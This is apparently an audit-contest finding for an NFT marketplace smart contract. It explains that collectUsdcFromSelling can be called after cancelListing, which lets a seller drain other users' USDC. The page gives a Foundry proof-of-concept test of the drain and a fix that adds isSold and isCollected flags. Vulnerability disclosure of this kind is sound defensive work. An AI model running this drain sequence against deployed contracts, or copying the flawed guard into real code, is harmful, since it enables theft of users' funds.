NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

collectUsdcFromSelling Is Callable on Cancelled Listings Without a Real Buyer

Author Revealed upon completion

Root + Impact

Description

Under the intended protocol flow, collectUsdcFromSelling should only be callable after an NFT has been genuinely purchased, enabling the seller to withdraw buyer-paid USDC and reclaim collateral.

The function's sole guard is require(!listing.isActive, ...). Because cancelListing also sets isActive = false, a seller who cancels their listing immediately satisfies this condition and can call collectUsdcFromSelling to drain USDC belonging to other protocol users — with no buyer ever having participated.

https://github.com/CodeHawks-Contests/2026-03-NFT-dealers/blob/f34038b7b948d0902ef5ae99e9f1a4964bd3cdb5/src/NFTDealers.sol#L171

function collectUsdcFromSelling(uint256 _listingId)
external
onlySeller(_listingId)
{
Listing memory listing = s_listings[_listingId];
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
// @> BUG: cancelListing also sets isActive = false; there is no way to
// distinguish "sold" from "cancelled" using this flag alone
​
...
@> usdc.safeTransfer(msg.sender, amountToSeller); // drains third-party funds
}

Risk

Likelihood:

  • Any whitelisted user who has ever created a listing can call collectUsdcFromSelling immediately after cancelListing returns, requiring no external accounts or waiting period.

The attack is profitable whenever the contract holds USDC from other users' collateral deposits or accumulated fees — a condition that is true during normal protocol operation.

Impact:

  • An attacker can withdraw USDC from the protocol with no capital at risk, up to the full contract balance, directly harming other users and the protocol treasury.

When combined with C-01 (https://codehawks.cyfrin.io/c/2026-03-nft-dealers/s/cmmud2us50005jo04v7800jlu), the attacker can repeat the drain indefinitely, multiplying total damage.

Proof of Concept

Add this to 2026-03-NFT-dealers/test/NFTDealersTest.t.sol,run forge test --match-test testPoC_C03_CollectAfterCancel -vvvv

function testPoC_C03_CollectAfterCancel() public revealed {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
uint256 lockAmt = nftDealers.lockAmount();
​
// Victim funds the contract with background USDC
address victim = makeAddr("victim");
usdc.mint(victim, lockAmt);
vm.prank(owner);
nftDealers.whitelistWallet(victim);
vm.startPrank(victim);
usdc.approve(address(nftDealers), lockAmt);
nftDealers.mintNft();
vm.stopPrank();
​
// Alice: mint → list → cancel (isActive becomes false)
vm.prank(owner);
nftDealers.whitelistWallet(userWithCash);
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), lockAmt);
nftDealers.mintNft();
uint256 userTokenId = 2;
nftDealers.list(userTokenId, nftPrice);
nftDealers.cancelListing(userTokenId);
​
// Transfer NFT to accomplice to bypass ownerOf check if present
address accomplice = makeAddr("accomplice");
nftDealers.transferFrom(userWithCash, accomplice, userTokenId);
vm.stopPrank();
​
usdc.mint(address(nftDealers), nftPrice);
​
uint256 balanceBefore = usdc.balanceOf(userWithCash);
​
// Alice collects with no real buyer
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(userTokenId);
​
assertGt(usdc.balanceOf(userWithCash), balanceBefore,
"C-03: Alice collected USDC without a real buyer");
}

Recommended Mitigation

Introduce a dedicated isSold flag that is set exclusively inside buy(), and require it in collectUsdcFromSelling. Add an isCollected flag to prevent re-collection (which also addresses C-01(https://codehawks.cyfrin.io/c/2026-03-nft-dealers/s/cmmud2us50005jo04v7800jlu)).

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool isSold; // set to true only inside buy()
+ bool isCollected; // prevents duplicate collection
}
​
// Inside buy():
+ s_listings[_listingId].isSold = true;
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.isSold, "NFT has not been sold");
+ require(!listing.isCollected, "Already collected");
+ s_listings[_listingId].isCollected = true;
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!